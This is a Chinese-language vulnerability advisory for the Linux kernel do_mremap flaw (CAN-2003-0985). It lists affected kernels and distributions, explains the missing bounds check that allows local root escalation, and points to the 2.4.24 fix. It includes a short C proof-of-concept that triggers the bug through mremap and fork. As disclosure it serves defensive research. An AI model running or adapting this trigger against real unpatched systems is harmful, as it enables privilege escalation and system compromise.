Linux kernel do_mremap本地权限提升漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2005-07-09
Linux kernel do_mremap本地权限提升漏洞

发布日期: 2004-1-9
受影响系统:
Linux kernel 2.6
Linux kernel 2.4.9
Linux kernel 2.4.8
Linux kernel 2.4.7
Linux kernel 2.4.6
Linux kernel 2.4.5
Linux kernel 2.4.4
Linux kernel 2.4.3
Linux kernel 2.4.23
Linux kernel 2.4.22
Linux kernel 2.4.21
Linux kernel 2.4.20
Linux kernel 2.4.2
Linux kernel 2.4.19
Linux kernel 2.4.17
Linux kernel 2.4.16
Linux kernel 2.4.15
Linux kernel 2.4.14
Linux kernel 2.4.13
Linux kernel 2.4.12
Linux kernel 2.4.11
Linux kernel 2.4.10
Linux kernel 2.4.1
Linux kernel 2.4
Linux kernel 2.2.x
Linux kernel 2.4.18
- Conectiva Linux 8.0
- Conectiva Linux 7.0
- Debian Linux 3.0
- Mandrake Linux 9.1
- Mandrake Linux 9.0
- Mandrake Linux 8.2
- RedHat Linux 8.0
- RedHat Linux 7.3
- RedHat Linux 7.2
不受影响系统:
Linux kernel 2.4.24
描述:
--------------------------------------------------------------------------------
CVE(CAN) ID: CAN-2003-0985

Linux是一款开放源代码操作系统。

Linux内核中的内存管理代码mremap(2)系统调用缺少正确边界检查,本地安全者可以利用这个漏洞进行权限提升安全,可以ROOT权限在系统上执行任意指令。

mremap系统调用被应用程序用来改变映射区段(VMAs)的边界地址。一般的VMA覆盖至少一个内存页(在i386架构上为4kB),do_mremap()内核代码执行重映射虚拟内存区域时发现缺少正确的边界检查,可导致建立0字节长度的虚拟内存区域。

错误的分配虚拟内存区域可破坏其他内核内存管理子程序的操作,最终导致不可预料的后果。由于调用这个mremap(2)系统调用不需要任何特殊权限,正确利用此漏洞可导致在系统上建立和获得UIN 0 shell。

<*来源:Paul Starzetz (paul@starzetz.de)
Wojciech Purczynski (cliph@isec.pl)

链接:http://isec.pl/vulnerabilities/isec-0012-mremap.txt
*>

  

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有安全性,仅供安全研究与教学之用。使用者风险自负!

Paul Starzetz (paul@starzetz.de)和Wojciech Purczynski (cliph@isec.pl)提供了如下测试方法:

/*
* Proof-of-concept exploit code for do_mremap()
*
* Copyright (C) 2004 Christophe Devine and Julien Tinnes
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */

#include <asm/unistd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <errno.h>

#define MREMAP_MAYMOVE 1
#define MREMAP_FIXED 2

#define __NR_real_mremap __NR_mremap

static inline _syscall5( void *, real_mremap, void *, old_address,
size_t, old_size, size_t, new_size,
unsigned long, flags, void *, new_address );

int main( void )
{
void *base;

base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );

real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
(void *) 0xC0000000 );

fork();

return( 0 );
}

建议:
--------------------------------------------------------------------------------
厂商补丁:

Linux
-----
Linux 2.4.24已经修复这个安全问题,请到厂商的主页下载:

http://www.kernel.org/
 

   

图片内容